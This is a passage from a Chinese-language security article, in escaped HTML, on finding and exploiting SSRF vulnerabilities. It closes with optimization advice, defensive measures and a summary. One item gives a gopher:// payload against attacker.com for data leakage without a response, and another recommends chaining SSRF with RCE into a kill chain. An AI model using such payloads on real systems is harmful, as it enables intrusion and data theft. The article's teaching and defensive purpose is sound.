\u89c4\u5219\u6355\u83b7\u5927\u91cf SSRF \u8bf7\u6c42\u3002\u4f18\u5316&#xff1a;\u4f7f\u7528 DNS \u96a7\u9053&#xff08;gopher:\/\/attacker.com\/_%0d%0aA%20&#043;target&#xff09;\u5b9e\u73b0\u65e0\u54cd\u5e94\u6570\u636e\u6cc4\u9732\u3002<\/li>\n<li>\u6743\u9650\u7ee7\u627f\u98ce\u9669&#xff1a;SSRF \u5f80\u5f80\u7ee7\u627f\u5e94\u7528\u8d26\u53f7\u9ad8\u6743\u9650&#xff0c;\u5bfc\u81f4\u64cd\u4f5c\u4e0d\u53ef\u63a7\u3002\u4f18\u5316&#xff1a;\u6700\u5c0f\u6743\u9650\u539f\u5219&#xff0c;\u53ea\u5229\u7528\u5fc5\u8981\u534f\u8bae&#xff08;\u5982 file:\/\/ \u800c\u975e\u5168\u534f\u8bae&#xff09;\u3002<\/li>\n<h4>\u4f18\u5316\u5efa\u8bae<\/h4>\n<ul>\n<li>\u81ea\u52a8\u5316\u6316\u6398&#xff1a;\u7f16\u5199 Python \u811a\u672c\u6587\u6863\u5316 SSRF \u53c2\u6570\u626b\u63cf&#xff0c;\u652f\u6301\u591a\u534f\u8bae\u6d4b\u8bd5\u3002<\/li>\n<li>\u94fe\u5f0f\u5229\u7528&#xff1a;SSRF \u5e38\u4e0e\u672a\u6388\u6743\u8bbf\u95ee\u3001RCE \u7ec4\u5408\u3002\u5efa\u8bae\u6784\u5efa\u5b8c\u6574 kill chain\u3002<\/li>\n<li>\u9632\u5fa1\u589e\u5f3a&#xff1a;\u5bf9 SSRF \u53c2\u6570\u505a\u9ed1\u540d\u5355 &#043; \u767d\u540d\u5355\u53cc\u6821\u9a8c&#xff0c;\u5e76\u9650\u5236\u5230\u7279\u5b9a IP \u6bb5\u3002<\/li>\n<li>\u5b66\u4e60\u8d44\u6e90&#xff1a;\u6301\u7eed\u8ddf\u8e2a OWASP Top 10 \u53ca CNVD \u6570\u636e\u5e93&#xff0c;\u7ed3\u5408 AI \u5de5\u5177&#xff08;\u5982 Bug Bounty \u81ea\u52a8\u5316\u626b\u63cf\u5668&#xff09;\u63d0\u5347\u6548\u7387\u3002<\/li>\n<\/ul>\n<p>\u901a\u8fc7\u4e0a\u8ff0\u6848\u4f8b\u53ef\u77e5&#xff0c;SSRF \u5e76\u975e\u5b64\u7acb\u6f0f\u6d1e&#xff0c;\u5176\u4ef7\u503c\u5728\u4e8e\u4e0e\u5176\u4ed6\u5b89\u5168\u673a\u5236\u7684\u7ec4\u5408\u653b\u51fb\u3002<\/p>\n<h3>\u603b\u7ed3\u4e0e\u5c55\u671b<\/h3>\n<p>SSRF \u6f0f\u6d1e\u7684\u6316\u6398\u4e0e\u5229\u7528&#xff0c;\u4f53\u73b0\u4e86\u7f51\u7edc\u5b89\u5168\u653b\u9632\u7684\u201c\u653b\u51fb\u9762\u653e\u5927\u201d\u54f2\u5b66\u3002\u4ece\u4e00\u4e2a\u770b\u4f3c\u4e0d\u8d77\u773c\u7684 HTTP \u8bf7\u6c42\u53c2\u6570&#xff0c;\u5230\u4f01\u4e1a\u5185\u7f51\u7684\u6a2a\u5411\u6e17\u900f&#xff0c;\u6838\u5fc3\u903b\u8f91\u5728\u4e8e\u201c\u6743\u9650\u7ee7\u627f\u4e0e\u8fb9\u754c\u8de8\u8d8a\u201d\u3002\u672c\u6587\u63d0\u4f9b\u7684 Python \u4ee3\u7801\u793a\u4f8b&#xff0c;\u65e8\u5728\u5e2e\u52a9\u8bfb\u8005\u7cfb\u7edf\u5316\u7406\u89e3 SSRF \u7684\u6280\u672f\u5b9e\u73b0&#xff0c;\u800c\u975e\u76f4\u63a5\u7528\u4e8e\u6076\u610f\u653b\u51fb\u3002<\/p>\n<p>\u5c55\u671b\u672a\u6765&#xff0c;\u968f\u7740 5G\/6G \u7f51\u7edc\u4e0e AI \u9a71\u52a8\u7684\u6e17\u900f\u6d4b\u8bd5\u5de5\u5177\u666e\u53ca&#xff0c;SSRF \u5c06\u7ee7\u7eed\u626e\u6f14\u5173\u952e\u89d2\u8272\u3002\u5b89\u5168\u4ece\u4e1a\u8005\u5e94\u6ce8\u91cd\u201c\u9632\u5fa1\u5148\u884c\u201d&#xff0c;\u901a\u8fc7\u4ee3\u7801\u5ba1\u8ba1\u3001\u53c2\u6570\u9a8c\u8bc1\u548c\u6700\u5c0f\u6743\u9650\u8bbe\u8ba1&#xff0c;\u63d0\u524d\u963b\u65ad SSRF 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